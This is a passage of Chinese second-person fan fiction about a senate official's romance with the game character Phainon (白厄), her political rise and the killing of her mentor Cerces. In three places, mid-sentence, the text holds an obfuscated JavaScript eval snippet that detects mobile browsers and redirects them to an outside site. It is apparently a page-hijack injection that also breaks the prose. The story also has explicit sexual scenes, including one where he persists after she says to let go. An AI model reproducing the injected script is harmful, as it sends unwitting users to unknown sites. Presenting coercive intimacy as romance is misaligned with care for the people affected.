这些年来,黄金裔与元老院的矛盾与日俱增、越发恶化,直到有一天凯妮斯彻底与黄金裔的领袖阿格莱雅女士撕破了脸皮,强烈要求他们停止逐火,并要求在公民广场展开言语对峙。奥赫玛的居民几乎无人不知两派立场隔阂巨大,且两方同意各自支持的公民自发前去投票。你揉揉眉心,有些烦恼。 下属将文件递到你的手上:“这是凯妮斯长老要求给您看的文件,您请过目。” 你一目十行,内心感慨凯妮斯真会给你找事。 黄金裔与元老院的谈判,由各自的领袖发言。身着华服的阿格莱雅女士一脸平淡地反驳了慷慨激昂的凯妮斯,几乎毫无谈判的余地。你望着她几乎陷入疯狂的神情,叹了口气,站起身来,平静地接过了阿格莱雅女士的话。 不远处,白厄那颗毫无波澜的心瞬间狂跳起来。 相比那个沉溺于追逐权力的政治怪物凯妮斯,你的神情从容不迫,语句井井有条,让他忽然记起那年在树庭与你对峙的辩论决赛。思维有些跟不上,他的喉咙有些发紧,居然有些久违的紧张,更多的确是无声的思念。 是的,只是见到了你,他才知道对你的感觉从未褪去,只看你一眼,就勾起了无尽的思念。 阿格莱雅沉默了许久,对于你彬彬有礼的话,她无法再反驳。就在这时,白厄站起身来,接过了阿格莱雅的话语权。 你的神情瞬间变了。只那一秒,就朝许久不见的人笑了笑。 几分苦涩?几分思念?几分悸动?几分喜悦? 谁也不知道。 8. 纯情小白 不同于当年那场意外展开的辩论决赛,如今的你们各持身份、各有立场的站在公民广场上与对方唇枪舌剑,这一次,谁都不想输。他进攻,你防守,他后退,你反攻,双方的支持者目瞪口呆地看着你们口若悬河唇舌交战,词句刁钻语气尖锐,气氛几近剑弩拔张,几乎忍不住要为你们加油鼓掌。 可最后,谈判还是破裂了,正义的天平,最终向黄金裔一方倾斜。 你看着那高挑的身影兴奋地举起手高呼,微微一笑,隐在了人群之后,自然也没有注意到他猛然看向你的目光。 不过最后的结果如何,你个人始终是偏向黄金裔。权力哪怕再吸引人,都没有人命重要,既然他们能成为背负世界命运去抵抗黑潮侵袭的人,就不该被肮脏的政治阻碍前行的脚步。 19. 可没想到刚走出元老院的大门没多远,你就被白厄带走了。 原本几乎人满为患的云石天宫浴池,现在几乎空无一人,偌大的空间,只有半强硬揽住你肩膀的白厄和你二人。 你抬头看去,白厄的神情意味不明,歪着头与你对视:“想说什么?这里只有你和我,没有别人。” 没有黄金裔,也没有元老院。你一哽,平日里舌灿莲花的本事忽然消失匿迹,只得装作若无其事地笑笑:“这句话不该我问你才对?我只是个刚下班想回家就被你强硬带过来的可怜社畜。” 白厄歪着头看你,忽然笑了,笑意却不达眼底,那双蓝眸泛着些冷意,让你有些不太舒服。 “回家?你是说那个自从与我画分界线就再也没回去过的屋子?” “强硬?”他弯唇一笑,“相比我真正想做的事,今天的我已经算得上十分温和了。”高大的身影朝你压来,你只是皱眉,脚下却未动一步:“所以今天带我来这里,就是想满足你这么多年来的幻想?” 你整个人都要贴在他的怀里,当那双如记忆中一样滚烫的双手抚上你的腰侧时,你终于毫不示弱地抬头望进那双湛蓝的双眼:“别这样。别在这样关键的时期,破坏了自己的立场。” “你一直都是这样,看得清又冷静……有时候我也会想抛下一切质问你,为什么那么狠心。”白厄的语气都要颤抖起来,他的眼眶渐渐红了:“我们那么久没见,你却依然顾着立场,只会说这些话来伤我的心。” 你的指甲掐进了手心,脸上却依然没有什么表情:“感谢你这么久以来的喜爱,只是我们走的路实在不同。我要的东西,你给不了,那只能我自己去争取。要是没什么想说的,我这就回去了,以后还是少见面吧。” 气氛陷入了诡异的沉默,你却能听到白厄有些颤抖的喘息。再待下去对谁都没有好处,艾格尔提丝虽然已经逐渐成为你身边的人,但你不知道她会不会将这些告诉凯妮斯,引起他们的怀疑…… “既然是你的意愿,那我不会强求你。”男人的脸色有些苍白,眼里闪着泪光,“至少,至少在分开前,再给我一个拥抱你一次的机会吧?” 你忽然想起那些年白厄向你撒娇的画面。 泛红的眼眶,祈求的眼神,闪烁的泪花和低垂下去的呆毛与记忆中那般如出一辙,你的心忽然塌下去一块,低下眼软了语气:“好。” 话音刚落,你便被紧紧抱在怀中。恐怖的体型差让你整个人都被白厄包围,滚烫的呼吸喷在颈侧,非常痒。浴室的温度瞬间升高,熟悉的氛围逐渐变得暧昧,你仰起头伸出手拍拍他的后背,却感到白厄整个人都在微微颤抖。 还没来得及心酸,白厄整个人的重量朝你压来。你支撑不住连连后退,“白厄,白厄,你太重了……啊!!” 一脚踏空,你整个人不受控制向下倒去,瞬间掉落到浴池中去。所幸水不是很深,不算很烫,你呛了几口水,咳凑几声抹了把脸,却又听到一声巨响——白厄也落入了水中。准确来说,是他自己跳进了浴池,几滴水沿着他柔软的发丝低落到颈侧金黄的太阳颈纹上,一双宝石蓝的眼睛幽幽盯着你,喉结还在上下滚动,无端涩气。 一股不妙的感觉顺着脊椎一涌而上,你往后靠到浴池边企图爬上去,却被一只大手捉住腿一把拉了回来重新跌进了浴池。湿透了的男人将你抵在浴池边,垂下头与你对视,呼吸都有些急促。 你咬牙切齿地要去推他:“白厄!” 却被一把捉住了手腕,随后滚烫的吻落在腕侧,你作势要打他,他却睁着一双泛起水汽与委屈的眼睛看着你:“……如果你高兴,打我也好,骂我也好,都随便你。” 你的胸膛不停起伏:“你放开我,去上面,好好谈。” 白厄听罢,默不作声垂下眼睛,你本以为这事成了,他却幽幽开口:“你以前总是对我那么狠心,但没关系,只要你和我在一起,我总是能忍受的。可现在,你都不想要我了,我为什么还要继续听你的呢?” 白厄无视你复杂的眼神,捧起你的脸颊贴近你的嘴唇:“……只好按我自己的想法来了。” ………… 几年没见,他懂得越发多了。从未被入侵过的花丛被比格耶反复探索,你忍不住伸腿狠狠踢他,却被一把抓住大腿。 白厄卖力讨好,却又委屈地问你:“为什么要丢下我?” “为什么不要我?” “为什么那么狠心?” 那感受实在太过磨人,被逐渐蒙蔽大脑的你意志力逐渐崩塌,你忽然想起那些无辜死去的人,想起纯粹的黄金裔,想起疯狂的凯妮斯……可这难得的温情几乎要让你的面具坠落。 “白厄!你这个分不清的混蛋!”被情欲折磨,你忽然崩溃的大哭,那股不知何处而来的委屈席卷了你的大脑:“你是黄金裔!你是世人敬仰的黄金裔!救世主!上天让你在哀丽秘榭的那场灾难里活下来,阿格莱雅女士与神悟树庭费尽心血培养你,是为了让你和一个手里沾染无辜人鲜血还站在你对立面的肮脏政客厮混么!!你为什么总是对我那么执着,为什么!!!” “与立场无关,与翁法罗斯无关,我只是爱你本身,在这个世界我最爱你!这还要我怎么说!”白厄红着眼眶,喉头梗塞。他吻去你脸上的滚下的泪珠,再也忍耐不住。 紧贴的皮肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566207|186989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚烫,白厄从身后抱着你,贴着你的耳垂一遍一遍地说:“你要相信我……你要相信我可以处理好……别不要我……” “试着把自己交给我……我早就独当一面了……” 绿色和谐健康。 他看着你陷入情鱼的模样,只能更紧地贴住你。身前是有些凉意的浴池石壁,身后是火热的身体,双重的刺激让你断断续续说不出一个完整的句子。忽然,白厄把你翻过来面对着他,与你接了一个湿漉漉的吻,那双幽蓝的双眼近在咫尺:“做我的妻子,做我的妻子,好不好?别再离开我。” 白厄磨的你十分难受,你的理智短暂回笼,搂住他的脖颈摇摇头:“还不是时候……嗯!” 他穷追不舍地问:“那要到什么时候?等到必须你死我活么?” “唔……不、不是……” 一室旖旎,一片春光。白厄一眨不眨地看着你潮红的脸,忽然冒出一个可怕的想法:就这样把你带走,藏起来,再也不被任何人看到。 带着这样的想法,比格耶更卖力了,只可惜了体力不支的你。在累晕过去前,你万般痛恨凯妮斯,以及当年没有好好锻炼身体的自己。 始作俑者还说了一句话…… 他说,大人,多谢款待。 20. 一只手搭在你的腰侧,讨好地替你捏腰揉腿。白厄那张人畜无害的脸上露出羞涩,飘起两朵红云:“所以……你决定与我在一起了?你答应做我的妻子了?” 这人现在与昨天那发狠的模样完全不沾边。你闭上眼让他继续为你揉发酸的腰:“话不说第二遍,没听见算啦。” “不行!我听见了!”他凑到你嘴边咬了一口你的嘴唇,“不许反悔。” “白厄,你知道吗?我的手上,真的有洗不干净的雪。”你想了许久,既然决定相信他,那还是全盘托出,展开心扉与白厄交谈。 白厄的神情忽然暗了下去,很快,他坚定地看着你:“我知道是清洗者杀死那些拥有黄金血的普通人。” “你没有错,”他捧起你的手轻轻吻了下:“某种程度上来说,你与逝去的那些人很像,都是玩弄政治贪图权力的人手下的牺牲品而已。” “凯妮斯真是个可怜却又可恨至极的角色。”白厄的眼里透出冷意:“自你那天你告知我元老院与清洗者有合作后,阿格莱雅和缇宝老师就已商量出对策,命人暗中调查了众多公民的身份。凡是有黄金血脉的人,都会着重保护。这点,你不用担心。” 你弯唇笑了:“难怪那么多次,艾格尔提丝都是满脸古怪的回来。” “如今元老院与黄金裔之间的关系正式破裂,以后免不了不少明枪暗箭。如今正是逐火的关键时期,你一定要保护好自己,实在不行也可以搬来和我一起住。”白厄神色不自然地看着你。 “放心,”你捧住他的额头轻笑:“我有我的对策,你只需大胆往前走,我会为你扫除一切阻拦你前进的障碍。” 他愣愣看着你,呼吸渐渐急促。你感到有些不妙想躲开,可下一秒又被大号萨摩耶扑倒了。 9. 纯情小白 经公民大会那一次辩论,你在元老院中的拥护者越来越多。随着手里握着的实权越来越多,你不再掩饰与白厄的恋情,奥赫玛的居民几乎无人不知你们都关系。 当然,白厄对此喜闻乐见,但还是提醒你:“我并不觉得像她这样的人会甘心把权利交到别人手上。” “我当然知道,”你漫不经心地翻着手里的文件,捏捏白厄的手,“我若告诉你这么多年来,元老院的那些人某种程度上来说,自始至终都没有换过,你会怎么想?” 白厄皱眉:“什么意思?” 你:“他们与清洗者有合作,也有类似‘夺舍’的秘法——具体你可以问问某位退休的元老院执事。” “真是丧心病狂。” “放心,”你笑笑,“凯妮斯活不久了。” …… 元老院的那群人反应慢上很多。真正让那些元老感到你的权力逐渐变大的一件事,是某个元老的文件要找上级盖章,兜兜转转许久,却求到了你的头上。曾经瞧不上你让你端茶倒水的那人腆着脸来找你叙旧,悻悻说起公文的事,你聆听许久,最终微笑驳回了他的建议。 一丝余地都没有,元老看着你和你的下属离去的模样,气的牙根痒痒。于是这件事便捅到了凯妮斯面前,坐在椅子上的女人皱着眉:“……我怎么不记得我曾经给过她这么大的权力?” “还是多多关注您的学生吧,”元老摸着下巴阴阳怪气道,“假以时日,她要坐上你这把椅子也不是毫无可能。” 这话一下便戳中了凯妮斯的心坎。你就像发出微弱光芒的火星,一些风吹草动,便有了燎原之势。 彼时你正坐在办公室内,放下传信石板,一边思考着逐火的可行性与未来对公民的安排。假如黑潮入侵了奥赫玛,现如今的防御机制是否依旧牢固?听说阿格莱雅女士的金丝护卫了这座圣城将近一千年的时光,但防患于未然,你必须未雨绸缭。 于是你联系了白厄,请他引荐你与阿格莱雅见上一面。他应的很快,还说很快就来接你。 ……好吧,也不是不行。自从在一起后,白厄黏你简直黏的厉害。 一人轻轻敲响门扉,你抬眼,是艾格尔提丝。 她抬眼对上你的疑惑:“凯妮斯对你起了疑心。” 你并不意外:“这个时候才意识到不对劲?有些晚,她确实是活的太久了。” 艾格尔提丝的呼吸渐渐急促,她欲言又止的模样让你感到稀奇,毕竟你见过她太多次直白的模样:“怎么了?有话直说,与我不用客套。” “从现在开始,我会跟着你,寸步不离。” 气氛忽然沉默,你抬起眼,意味深长:“她对你说了什么?” 艾格尔提丝不答,只微微侧身避开你探究的目光。你心下了然,“只怕又是什么要威胁我的话吧?艾格尔提丝,你还是这样,喜欢暗中护着别人。” “……” “你会要我的命么?” “不会。”她答的很快。 “那就没事,凯妮斯构不成什么威胁。”你耸耸肩,“收拾收拾,等下和我去见黄金裔的领袖阿格莱雅。” “……你不怀疑我?” “我的家乡有句话,‘用人不疑,疑人不用’。”你笑笑,“我唯一感谢凯妮斯的事,就是她把你送到了我的身边,这点还算不赖。” 艾格尔提丝灰色的双眸中迸发出亮眼的光彩。你眯着眼凑到她面前:“不管凯妮斯许诺了你什么,都别往心上去。以后我会给你更多。” 你拍拍她的肩,率先走出办公室。她沉默良久,终于走了出去,亦步亦趋跟在了你的身后。 …… 走在大堂内即将出门时,周围人的目光都十分怪异。你皱皱眉,果不其然看到了守在门口的高大护卫,他们审视着你,武器亮着冷厉的光:“大人,请回去吧。凯妮斯长老正在办公室内等你。” 你面无表情地拦住了护在你身前满脸戒备的艾格尔提丝,转身就走:“走吧,别和他们浪费时间。” “你真的要去……?” “不去怎么办?我手无缚鸡之力,可不想有脏东西随便碰我把我绑起来带走。哦对了,你去把我办公桌下压着的文件顺路带过来。”你笑着说,脚下生风地赶往凯妮斯所在的办公室。今时不同往日,你实在是想不到有什么惧怕她的理由。 一如记忆中那般,女人揉着眉心满脸疲惫地坐在大办公桌前,藏起了与他人争辩时惊人的疯狂。听见声响,她并不睁眼:“……你来了。” 你笑着说:“您找我?” 她睁开眼,细细打量起你来,忽然嗤笑:“想不到这么多年,我竟是养了一条蛇在身边。” “您多想了,我从来没做过损害您利益的事来啊。” 女人喃喃念了你的名字,定定看着你笑:“我当初是怎么说的?权力的滋味让人上瘾,你看,你的权力像滚雪球那样越滚越大,下一步,是不是想着该取代我了?” 你微微笑着:“我本就是您选定的继承人,若哪一天您想着退位,这把椅子,自然是该我来坐的。” “好,好!”凯妮斯大笑起来,眼底渐渐露出熟悉的疯狂:“孩子,那我劝你趁早断了这份念头吧。” “因为自元老院成立千年以来,从未真正换过领导人,是不是?” 凯妮斯一愣,随即坦然:“看来你都知道了。” 你仿佛没看到这屋内画满的符文,继续道:“夺舍这种事也就您能做的这么理所当然了。” “哈哈哈哈哈,孩子,”凯妮斯饶有兴趣地瞧你,“你还是太年轻了。这不叫夺舍,他们的思想只是与我融为了一体,是我给了他们渴望的权利——你明白么?” 那些可怜又可悲的牺牲者,妄想不属于自己的东西,孰不知那是裹挟了砒霜的 蜜糖,因贪婪而送了命,为他人做了嫁衣。 门外传来一阵打斗的动静,你抱着胳膊继续看凯妮斯的好戏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566208|186989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的眼底浮现出贪婪,上下打量着你:“这幅年轻的躯体真是令人垂涎。如今也差不多是时候了,来,孩子,乖乖到我这里来……” 你站着没动,面露哂笑。面前的女人逐渐坐不住了,她姿态丑陋地站起身来,眼里尽是渴望:“你不是想要权力吗?我会给你更多,你不会拒绝的……啊!” 凯妮斯的身影像断了线的风筝飞了出去,一下便撞到办公桌前,发出一声巨响。你皱着眉望向右侧穿着粗气面露忿色的白厄:“怎么就这么把她踢出去了?” 站在左侧的艾格尔提丝冷漠地看着地上丑态百出的女人。 “啊,我……”匆匆赶来的白厄挠挠头,你又说:“弄脏了鞋子多不好。” “噗——”他差点没忍住笑出声来,只能忍了忍,严肃地看向面前的女人。凯妮斯的表情终于扭曲起来,彻底撕下来那副假惺惺的面具,贪婪、愤恨与对权力的渴望几乎让她变成了一个怪物。 她以奇异的姿势站起来,试图继续往你身边走来:“你不是渴望权利吗!你难道甘心在你死后大权旁落吗!” 白厄皱眉,瞬间露出重剑朝向她;艾格尔提丝也抽出长刀拦在你身前,神情戒备。 “艾格尔提丝。”你说,“把那份文件给她吧。” 她回头看你一眼,终于放下长刀,将文件递给了披头散发的凯妮斯。可怜又疯狂女人只看了一眼,便要尖叫出声:“——不!” 下一秒又被艾格尔提丝踹到在地。你推开拦在你身前的二人,站在狼狈的凯妮斯身前,居高临下地俯视她。 “老师,”你弯唇笑了,“这么久都没有人来找您,也不问问为什么吗?” 你转过身去,白厄牵住了你的手,再也没有看那地上独自疯狂的女人,踩着一地狼籍出了门。艾格尔提丝则面无表情一刀结束了这可怜女人的生命。 终于出了元老院的大门,你眯眼看着倒地的几个护卫,白厄忽然凑过来吻你的唇角。 “为你高兴。”他的眼里闪烁着耀眼的光,你点点头,忽然紧紧抱住了面前的人。 幸福幸福,请降临在我和白厄的手心。 你感受着面前人滚烫的体温,在心里默念着。 21. 奥赫玛出了件大事。原本元老院的最高领导人凯妮斯忽然失踪了,取而代之的是一位年轻的姑娘,还正是与救世主白厄关系匪浅的那一位——不过大家都知道你为奥赫玛做出的贡献,世人对你的评价远远高于凯妮斯。 另一件事,则是黄金裔与元老院居然达成了一致,嫌隙不复存在。元老院的领导人全力支持黄金裔的逐火之旅,在新领导者的带领下,元老院为黄金裔行事提供了诸多便利,并且为圣城的治安与管理等方面做出了更多的贡献,圣城的繁荣空前稳定,公民的幸福感得到了大幅度的增强。 人们共同坚信,在元老院与黄金裔的带领下,圣城奥赫玛,一定会迎来崭新的明天。 END. 10. 番外[番外] 1. 青春期时的梦境总是悸动不已、混乱不堪。白厄不知是第多少次从梦中汗淋淋地惊醒,从梦中带出来的不止一颗狂跳的心,还有未消散的欲望。梦里看不清脸的女性身躯洁白无瑕,皮肤细腻的如璞玉,却又慢慢染上粉色…… 他很难受,忍耐许久,终于还是破罐子破摔把手往下探去。昏暗的小卧室弥漫着情欲的味道,少年靠在墙边,眼神带着厌弃和迷离,欲望汗湿了全身,眼前的一切逐渐模糊。忽然,房门被轻轻扣响,你轻快的嗓音传来:“白厄,我出门了……” 你的声音像一剂猛药,让他身心的防线彻底崩溃。你还说了什么白厄没有听见,他只听到自己的嗓音沙哑无比。 对不起,对不起……白厄委屈的想哭,你是把他从哀丽秘榭救回来的人,是他内心欣赏尊重的伙伴,他怎么能对着你做这种事呢?脑中一阵懊悔,可内心的角落,一种不堪的、泥泞的感情在此生根。白厄尝试过回避,可他再也没有办法躲避这种天生的欲望。 ……青春期时梦里的人,无法避免地全部都成了你。 2. 对于白厄来说,你的眼泪是这世界上最烫的东西,只那一次落泪,就烫出了他浮在心里的另一个愿望——成为守护你不为生存掉泪的人。 他必须要变得更强大才行。 与你告别,进入神悟树庭求学后,白厄对自己的要求几乎严苛。他的学业从不落下,利用课余和课后时间泡在图书收藏室,争分夺秒的学习更多知识。为了锻炼口才,他看了许多相关的书籍,一次又一次参加辩论比赛。 第一次参赛结果不尽人意。白厄吸取教训,并不甘心。 我一定要赢。 白厄用日复一日的练习和坚定的意志将自己打磨成一块几乎没有瑕疵的金子,博学、善辩、与人相处,这些都是他必须学习和具备的品质,而功夫不负有心人,在拿过第一次辩论大赛冠军后,他又连续拿下了六次冠军。 你很忙,白厄知道,但他看着传信石板许久没有聊天的界面犹豫了很久,还是将自己得了辩论赛第一的事告诉了你。果不其然,你的回复公事公办,就两个字恭喜,没有见面,也没有礼物。 那天白厄放下传信石板,望着镜子中的自己发愣了许久。身边的人都夸他长的好看,性格好,人也优秀,可这些都没办法吸引你,你忙的连消息都回的敷衍。 他忍不住想去关注你的一切。 “元老院的新起之秀”。白厄看到别人这么称呼你,也看到你与其他负责人见面时便握在一起的手。你是不是又瘦了?他想去问你的近况,可你脚下生风,眼里只有对手头工作的见解与态度,办事简单利索雷厉风行,让他生生顿在了原地——他想起你曾经开玩笑说自己是明珠蒙尘,可如今,你全身上下散发着迷人的光彩,如明玉般耀眼……他不敢再拿感情来打扰你。 我会变得像你一样优秀。白厄对着镜中的青年喃喃自语。 本以为在树庭沉淀自身的这段时间不会见到你,可世事无常,又或许是上天垂怜他梦中多次拥有你,在这一届的辩论大赛决赛场,白厄看到你出现在他面前。 呼吸滚烫,心跳的很快,你笑意盈盈的模样让他几乎瞬间有了反应——就算多读了书,他也从前那样无法克制欲望,甚至比从前更严重。 你怎么会出现在树庭?你作为最后一名选手和他辩论,他需要放水么?你最近过得好不好?这个妆容很好看,很适合你……乱七八糟的想法在脑中呼啸而过,下意识地捉住你摇晃的手,在反应过来自己失态后只能克制的放开。 白厄一边与你唇枪舌剑,一边将你的模样深深刻在心上,你很厉害,妙语连珠,从容不迫,在台上熠熠生辉。你的模样真的很美,可他只能垂下头去,深深藏起自己泥泞的目光。 最后颁奖结束,你估计也要离开了,白厄很舍不得,他的心在狂跳,一定要给你留下一个深刻的印象。于是他拿起后台的吉他,轻轻拨弄试音,对着你弹出了内心所想。 亲爱的姑娘,请看我一眼。亲爱的姑娘,请带我一起离开。 美丽的姑娘最后深深看了他一眼,挥挥手,还是离开了看台。 他望着你离去的背影,情绪有些低落。没关系,你还是不接受,他可以等,他会一直等你回头那天。 3. “白厄!快回家,吃饭啦!” 不远处传来母亲的呼喊,白厄浑浑噩噩睁开了双眼,金黄的麦田,和煦的晚风,傍晚的落日在无边无际的空中映出极美的晚霞,映照着散落在天边的云朵,连成大片大片的火烧云。 该吃饭了。他慌慌张张从麦田里跳起来,焦急地往家中赶去,老妈,对,他不能让老妈等太久,不然会被老爸老妈混合双打的。那种惶恐的情绪几乎要冲破了胸腔,白厄脚下生风,终于喘着气到了熟悉的家门口。 老妈几乎要给他个爆栗子:“快洗个手,毛毛躁躁的臭小子。” “白厄这小子性格啊,就像咱家狗一样能闹腾。”老爸翘着腿夹起一块肉逗弄旁边的胖狗:“是不是呀,大白?嗯?” 男人又诧异又好笑地看着杵在门口的儿子:“这是怎么了?好儿子,谁欺负你了?怎么一副眼眶红红要掉金豆子的模样,不会是因为老爸说你像大白吧……哎哟,奥妲塔快拿个小盆来啊,快来接咱儿子掉的金豆子。” 女人脚下生风先是给了丈夫一个爆栗,接着走到儿子面前担忧地看着他:“……这是发生什么了?掉那么多眼泪?好孩子,别哭了,哭的妈心疼。”奥妲塔的手在围裙上擦了擦,轻轻抹去男孩眼角溢出的泪水,只是那眼泪像断了线的风筝,怎么也抹不去。 希洛尼摩斯终于发现了不对劲,终于走到儿子面前担忧地看着他:“这到底是怎么了?小白厄,咱们先吃饭,吃完饭你把事告诉老爸,老爸替你解决。” 面前矮个的男孩忽然紧紧抱住了这对不知所措的夫妻,他的双眼被眼泪浸湿,鼻尖通红,哭着大喊:“……老爸老妈,我好饿啊!我好想吃蜂蜜烙饼!好想吃熏鹿肉!好想喝橄榄汁!” 好饿,真的好饿,就好像已经太多年没有吃过这些食物了,他对这些食物思念到了骨子里,看到父母时空虚的心仿佛都得到了弥补…… “……臭小子,吓死我了!”奥妲塔嗔怪地拍了拍小白厄的脑袋,“还以为你出了什么事!你想吃的这些,妈都给你做好了,今天就能吃到。” “哎,原来是肚子饿了。”希洛尼摩斯恢复了戏谑的神情,谈了小白厄一个脑瓜崩:“快来吃饭,臭小子,真是吓到你老爸老妈了。” “……哦,”小白厄吸了吸鼻子,眼眶通红地坐在了桌子旁。香喷喷冒着热气的蜂蜜烙饼新鲜出炉,熏鹿肉被刷上了他最喜欢的酱料,色泽光亮,清新的橄榄汁散发着悠悠的清香。父母笑眯眯地望着他:“吃吧,都是你想吃的。” 窗外的晚霞美不胜收,老爸老妈平淡地聊起了家长里短与农田的鸡毛蒜皮,毛绒绒的大白还在撒娇地讨要肉饼——小白厄看着面前的一切,终于缓缓放下了脑中的浑浑噩噩,笑眯眯地准备吃起晚餐。 是啊。他是白厄,是喜欢在麦田里躲猫猫的白厄,是哀丽秘榭最幸福的小伙子,他到底在不安什么? 默默享受完眼前的食物,少年叉起腰,眼睛都发起了光:“老妈,我来刷碗。” 老妈看了他一眼,麻利地收起了碗筷朝厨房走去。小白厄的心突地一跳,情不自禁跟了上去:“老妈,让我来……” 一只大手抚上他的肩,是老爸。希洛尼摩斯带着细微皱纹的眼睛泛起点点笑意:“让你老妈去就行了。” 他带着小白厄走到门前,望着天空血红的火烧云:“臭小子,还记不记得你前两天说要当救世主的梦想了?” 小白厄眼皮一跳,心里陡然升起一股惶惶不安:“老爸,什么救世主?我只想着能保护好哀丽秘榭就行了,我哪能当什么救世主?” 他的老爸忽然笑起来拍拍他的肩膀:“是啊,如果当不了这和救世主,回咱们哀丽秘榭当个普通农民守护村庄也行嘛。” 小白厄松了口气,却又毫无预兆的难过起来。 “好孩子,”老妈从身后摸了摸他的头。 “老爸,老妈,你们到底想说什么?明天再说好不好……”小白厄几乎乞求地看着他们。 他的老爸老妈笑着摇摇头,指了指远处说:“快回去吧。” ………… 白厄在梦境中无意识流着热泪。那股悲伤的情绪几乎要将他溺死。 “救世主。白厄,你会是拯救翁法罗斯的英雄。” “啊,快看!是最完美的黄金裔!白厄大人,您会带着我们走向逐火的未来!” “汝将肩负骄阳,直至灰白的黎明显著。” …… 人声嘈杂,赞美与夸赞的声音几乎要将他淹没;无数人饱含期待的眼神与崇敬让青年的内心深处生出一丝惶恐和不安,而这些情绪在梦境中被无限扩大,几乎占据了他整个大脑。 ……我配做救世主么? ……我能实现众人的心愿么? 一片黑暗的混沌中,一个熟悉的身影始终伴随在白厄的左右。那是一名女性,她似乎无时无刻不再忙碌,无时无刻不在为自己的前行付出努力。 渐渐地,他看清了那个人的模样,是你。 你的身影逐渐变得明亮、清晰,照亮了他混沌无光的梦境。 “吾心吾行澄如明镜,所作所为皆为正义。白厄,你从不未回应他人的期望而成为救世主,希望你能在前进的路上,拥有真正的自我。” 什么……才是真正的自我? “你的心愿……你的私心。” 我的心愿,我的私心。 梦境里,白厄抓住了你的手,喃喃重复着。救世的路途太多他人的声音,他必须抓紧那颗在他混沌内心耀眼的明珠,才不会迷失了自己,迷失了方向。 4.艾格尔提丝视角的你们 01. 昏暗的屋内,表面和谐的氛围,元老院长老凯妮斯与清洗者领导相谈甚欢,艾格尔提丝却注意到站在凯妮斯身后的女子警惕的眼神。 还不算大意,她这么想。 可话题结束后,凯妮斯却交给了她一个任务——监视你。你见了哪些人,做了什么事,凯妮斯都需要知道。她不是你的老师么?为什么会这么对你?艾格尔提丝心中泛起一丝疑惑,意识到这点后立刻恢复了漠不关心的状态。 对人和事一旦有了好奇心,许多事都会悄然滋生。 02. 艾格尔提丝在你家的窗户下蹲守,像一只提线木偶。 她望向你打开的窗户,面无表情地思考:要不要去看看你的屋子里有没有藏一些奇怪的人? “你是什么人?” 艾格尔提丝猛然回头,下意识要抽刀。英俊的白发男人眯着眼戒备地打量她:“……随身携带武器盯着别人家的窗口,你知道自己很可疑么?” “你是她什么人?”她下意识开口。 “……”男人笑了笑,“男朋友。” “……” “所以,你是谁?” 03. 再一次见到你是在警卫队的牢里,你把她带了出去。 白发的男人离开时,在你看不见的地方,眼神警告了艾格尔提丝很多次。 “他是谁?” 你略带惊奇的目光看向她:“他是黄金裔,叫白厄。” “你觉得我该认识他?为什么这样一副表情。” “清洗者不应该很清楚每个目标的姓名和背景么?”你笑了,“感谢你刷新了我对清洗者的认知,看来你们很需要加强职业素养。” 说完,你笑着走远了。可艾格尔提丝心里隐隐有些不舒服,她认出了你的讥笑。 04. 下雨了。滂沱大雨。 自从父母过世,艾格尔提丝为了生存,阴差阳错被选为了清洗者。只要能生存,她什么都做,就算是取人性命。 因为会有一笔相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566209|186989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当丰厚的报酬。 可自从在你的身边监视你,她又发现了诸多不一样的生存道路。 艾格尔提丝曾经调查过你,知道你在没有考入元老院前做着跑腿的活维持生计。日子陆陆续续艰辛了一段时间,你靠着自身的毅力走到了今天。 可她呢?望着豆子般大的雨点砸到地上,艾格尔提丝第一次有些疑惑,为了活,她似乎摒弃了所有作为人该有的道德,变得像纯粹的杀人机器。 在清洗者内部太久,第一次碰上像你这样明亮耀眼的人。 可这样的人,却被凯妮斯盯上了。 你清脆的喊声在雨中格外明显。 艾格尔提丝毫不犹豫挤进来,接过你为她准备的毛巾。柔软的,干净的,像你一样。她干站着许久,忽然开口。 “你不该和白厄离得太近。” “怎么了?说说看?” 你很生气,可站在对面的人是她,你没办法大发雷霆。 如果换了另一个人,结果会不会不一样? 05. 艾格尔提丝希望你永远不要被凯妮斯安排到那个任务。 可惜事与愿违。 她早就明白你与白厄离得太近,凯妮斯不会放过你。在你面色煞白握不住刀的那一刻,艾格尔提丝的心忽然颤动,她忍不住告诉你,全部交给她就好。 你只需要干干净净、一尘不染的的站在原地。 更令她有些高兴的是,你要与白厄分开了,也不准备再回那个家。艾格尔提丝想,没关系,她会照顾好你。 她不愿任何人伤害你,包括元老院和黄金裔。因为在这个冰冷的翁法罗斯,你是她想要拼尽全力保护的人。 06. 